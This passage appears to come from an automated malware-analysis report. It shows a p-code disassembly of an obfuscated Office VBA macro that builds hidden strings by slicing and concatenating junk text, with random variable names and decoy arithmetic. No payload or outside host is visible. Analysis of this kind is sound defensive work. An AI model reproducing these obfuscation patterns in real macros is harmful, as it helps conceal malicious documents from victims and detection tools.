' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld ThAwAclRo 
' 	LitDI2 0x0002 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St oHnsmnMcXSn 
' Line #36:
' 	Ld OUBcVcmT 
' 	LitDI4 0xE271 0x0007 
' 	Coerce (Sng) 
' 	Add 
' 	LitDI4 0x5802 0x000D 
' 	LitDI4 0x473E 0x000A 
' 	LitDI4 0xE312 0x0008 
' 	Coerce (Byte) 
' 	LitDI4 0x88C4 0x0004 
' 	Div 
' 	Sub 
' 	LitDI4 0xE271 0x0007 
' 	ArgsLd Round 0x0001 
' 	Sub 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	Add 
' 	Ld KaAqTpzQr 
' 	Ld TdkdR 
' 	Mul 
' 	Add 
' 	LitDI4 0x5802 0x000D 
' 	LitDI4 0x473E 0x000A 
' 	Add 
' 	LitDI4 0xE312 0x0008 
' 	Add 
' 	LitDI4 0xD86A 0x004E 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St VfGmEMvfSv 
' Line #37:
' 	SetStmt 
' 	Ld wOhGzmwaIGi 
' 	Set bUWhn 
' Line #38:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St KZutJmijG 
' Line #39:
' 	LitStr 0x005A "7buOuY6fxhGRO9CBUK18uEhwBSMDdaL2xV4SuPCxltWJPzzjjYRabhcfA3a9fZrEP8Qt5jBSbtQ3JxQg263inzQFsB"
' 	St zpKCTEqlZNE 
' Line #40:
' 	Ld zpKCTEqlZNE 
' 	LitDI2 0x003D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld zpKCTEqlZNE 
' 	LitDI2 0x0031 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld zpKCTEqlZNE 
' 	LitDI2 0x0023 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000C 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld zpKCTEqlZNE 
' 	LitDI2 0x0014 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000E 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld zpKCTEqlZNE 
' 	LitDI2 0x002C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St VMnBoiH 
' Line #41:
' Line #42:
' 	LitStr 0x006C "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4djPCxlMWJPzUjjDRabhcrQyCSBt1j8D1MfWwgnXHg4jhQhdT51hO076GA6GSzswsOVbdzGLSX"
' 	St TiEHf 
' Line #43:
' 	Ld TiEHf 
' 	LitDI2 0x0049 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Ld TiEHf 
' 	LitDI2 0x003B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld TiEHf 
' 	LitDI2 0x002A 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000F 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld TiEHf 
' 	LitDI2 0x0018 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0010 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld TiEHf 
' 	LitDI2 0x0035 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St kpRdzi 
' Line #44:
' Line #45:
' 	LitStr 0x0069 "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVASuPCxlMWJPzUjwYRabmjsuyCSBt1j7OOHRKaziAo/sYbCxdgYHrYI/AraTqewLnABVbdzG"
' 	St tmORMwBXTN 
' Line #46:
' 	Ld tmORMwBXTN 
' 	LitDI2 0x0047 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Ld tmORMwBXTN 
' 	LitDI2 0x0039 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld tmORMwBXTN 
' 	LitDI2 0x0029 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000F 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld tmORMwBXTN 
' 	LitDI2 0x0017 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000F 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld tmORMwBXTN 
' 	LitDI2 0x0034 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St EicwIEhO 
' Line #47:
' Line #48:
' 	LitStr 0x0027 "jvudqW7buOuYgfxhGRW9CBUKo8Gznwi4RJBVZ2x"
' 	St zSVUS 
' Line #49:
' 	Ld zSVUS 
' 	LitDI2 0x001B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Ld zSVUS 
' 	LitDI2 0x0015 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld zSVUS 
' 	LitDI2 0x000F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0005 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld zSVUS 
' 	LitDI2 0x0009 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St hHjZJiO 
' Line #50:
' Line #51:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St MQSLw 
' Line #52:
' 	LitStr 0x0048 "7buOuY6fxhGRO9CBUK18uEhsBSMDdEZ2VV4Su8CxlMWJwoHfILO2j2cs8lN/LqwgSV3t5jH5"
' 	St ZoCFTPpwdS 
' Line #53:
' 	Ld ZoCFTPpwdS 
' 	LitDI2 0x0031 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Ld ZoCFTPpwdS 
' 	LitDI2 0x0028 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld ZoCFTPpwdS 
' 	LitDI2 0x001C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000A 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld ZoCFTPpwdS 
' 	LitDI2 0x0010 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000B 
' 	ArgsLd Left 0x0002 
…

Open this report in the interactive analyzer, or submit your own file for analysis.